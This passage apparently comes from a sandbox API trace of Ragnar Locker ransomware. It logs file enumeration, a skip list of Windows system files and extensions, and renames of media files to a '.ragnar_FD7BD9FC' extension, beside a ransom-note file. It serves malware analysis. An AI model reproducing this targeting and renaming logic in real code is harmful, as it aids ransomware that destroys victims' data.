dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="layers.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="layers.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.958] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x814d2d20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.958] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.958] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x814d2d20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.958] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x814d2d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x814d2d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.959] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.959] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0078.959] lstrcpyW (in: lpString1=0x1eab64, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0078.959] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png") returned=".png" [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0078.959] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0078.959] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.959] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.959] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.959] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.959] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.959] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.959] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0078.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.960] CloseHandle (hObject=0xffffffff) returned 0 [0078.960] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" [0078.960] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.ragnar_FD7BD9FC" [0078.960] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.960] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0078.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0078.960] lstrcpyW (in: lpString1=0x1eab64, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0078.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned=".png" [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="autorun.inf") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootfont.bin") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootsect.bak") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr.efi") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgfw.efi") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="iconcache.db") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.ini") returned -1 [0078.961] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="thumbs.db") returned -1 [0078.961] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.961] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.961] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.961] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.961] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.961] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.961] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0078.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.993] CloseHandle (hObject=0xffffffff) returned 0 [0078.993] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" [0078.993] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.ragnar_FD7BD9FC" [0078.993] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.993] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0078.993] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0078.993] lstrcpyW (in: lpString1=0x1eab64, lpString2="blackbars60.png" | out: lpString1="blackbars60.png") returned="blackbars60.png" [0078.993] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned=".png" [0078.993] lstrcmpiW (lpString1="blackbars60.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.993] lstrcmpiW (lpString1="blackbars60.png", lpString2="autorun.inf") returned 1 [0078.993] lstrcmpiW (lpString1="blackbars60.png", lpString2="boot.ini") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="bootfont.bin") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="bootsect.bak") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="bootmgr") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="bootmgr.efi") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="bootmgfw.efi") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="desktop.ini") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="iconcache.db") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="ntldr") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="ntuser.dat") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="ntuser.dat.log") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="ntuser.ini") returned -1 [0078.994] lstrcmpiW (lpString1="blackbars60.png", lpString2="thumbs.db") returned -1 [0078.994] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.994] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.994] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.994] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.994] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.994] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.994] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0078.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.994] CloseHandle (hObject=0xffffffff) returned 0 [0078.994] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" [0078.994] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.ragnar_FD7BD9FC" [0078.995] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.995] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0078.995] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0078.995] lstrcpyW (in: lpString1=0x1eab64, lpString2="layers.png" | out: lpString1="layers.png") returned="layers.png" [0078.995] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned=".png" [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="autorun.inf") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="boot.ini") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="bootfont.bin") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="bootsect.bak") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="bootmgr") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="bootmgr.efi") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="bootmgfw.efi") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="desktop.ini") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="iconcache.db") returned 1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="ntldr") returned -1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="ntuser.dat") returned -1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="ntuser.dat.log") returned -1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="ntuser.ini") returned -1 [0078.995] lstrcmpiW (lpString1="layers.png", lpString2="thumbs.db") returned -1 [0078.995] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.995] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.995] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.995] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.995] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.995] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.995] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0078.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.996] CloseHandle (hObject=0xffffffff) returned 0 [0078.996] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" [0078.996] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.ragnar_FD7BD9FC" [0078.996] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd 